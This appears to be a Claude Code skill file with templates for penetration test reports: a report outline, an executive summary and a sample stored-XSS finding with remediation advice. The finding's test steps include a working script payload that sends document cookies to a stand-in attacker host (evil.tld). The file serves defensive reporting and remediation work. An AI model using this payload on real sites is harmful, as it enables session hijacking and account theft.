badi: Skill for Claude Code

pentest-report

Pentest report writing. The final deliverable after the engagement.

Triggers

• "write a pentest report"
• "executive summary"
• "technical writeup"
• "compute a CVSS score"
• "remediation roadmap"
• "retest report"

Report Structure

1. Cover Page
2. Executive Summary (1-2 pages, non-technical)
3. Scope + Methodology (1 page)
4. Risk Matrix + Summary Findings Table
5. Detailed Findings (1-2 pages per finding)
6. Remediation Roadmap
7. Appendix (tool list, sample evidence, retest plan)

Executive Summary Template

# Executive Summary

The <pentest type> test authorized by [Company Name] was conducted by
[pentest firm name] over [date range]. <X> assets within the test scope
were examined: [short scope summary].

## Key Findings

A total of <N> findings were identified:
- **<X> Critical** — immediate action required
- **<X> High** — must be fixed within 30 days
- **<X> Medium** — 90 days
- **<X> Low** — best effort

Most serious finding: <short finding description>. This vulnerability poses a [business impact: client data
disclosure / financial loss / regulatory violation] risk.

## Overall Security Measurement

[Company Name]'s overall security maturity level was rated as
<Initial/Repeatable/Defined/Managed/Optimizing>. Compared with the prior-year baseline:
<improving / stable / degraded>.

## Strategic Recommendations

1. <Remediation for the critical finding>
2. <Process / culture recommendation: incident response drill, awareness training>
3. <Investment recommendation: SIEM coverage, MFA universal>

## Acceptance

This report was delivered as of [date]. The findings are opened for retest
on [date + 7 days].

Finding Template

## [BLG-001] Stored XSS in Comment Field — CRITICAL

### CVSS 3.1
**9.0 (Critical)** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`

### Impact
Authenticated low-priv user can inject persistent JavaScript that executes
in admin browsers, leading to:
- Full admin session hijack
- Persistent malicious payload (persistent DB record)
- 1-click via existing workflow (admin moderator panel)

### Test Steps
1. Login: [email protected] / Test123! (low priv)
2. Navigate: /comments
3. Submit: `<img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">`
4. Wait: the payload triggers when the admin opens the moderator review panel
5. Confirm: the cookie is delivered to the attacker server

### Evidence
- `evidence/blg-001-payload.png` (HAR file attached)
- `evidence/blg-001-cookie-exfil.png`
- `evidence/blg-001-admin-impact.mp4` (60s video)

### Affected Component
- File: `src/components/Comment.tsx:42`
- Component: CommentRenderer.render
- Endpoint: POST /api/comments

### Root Cause
Server-side comment body sanitization is missing. The frontend renders it directly
with `dangerouslySetInnerHTML`.

### Suggested Fix

**Quick fix (1 day)**: Server-side sanitization
```javascript
// src/api/comments.js
import DOMPurify from 'isomorphic-dompurify';
const cleanBody = DOMPurify.sanitize(req.body.body, { ALLOWED_TAGS: ['b','i','em'] });

Long-term (1 week):

• Content Security Policy header: default-src 'self'; script-src 'self' 'nonce-{random}'
• Cookie flag: HttpOnly + Secure + SameSite=Strict
• Code review checklist: dangerouslySetInnerHTML usage approval

Verification

Submit the same payload during the retest -> it must be sanitized, not executed.

CWE / MITRE

• CWE-79: Improper Neutralization of Input (Cross-Site Scripting)
• MITRE: T1059.007 (Command and Scripting Interpreter: JavaScript)

Reference

• OWASP XSS Prevention Cheatsheet
• HackerOne similar finding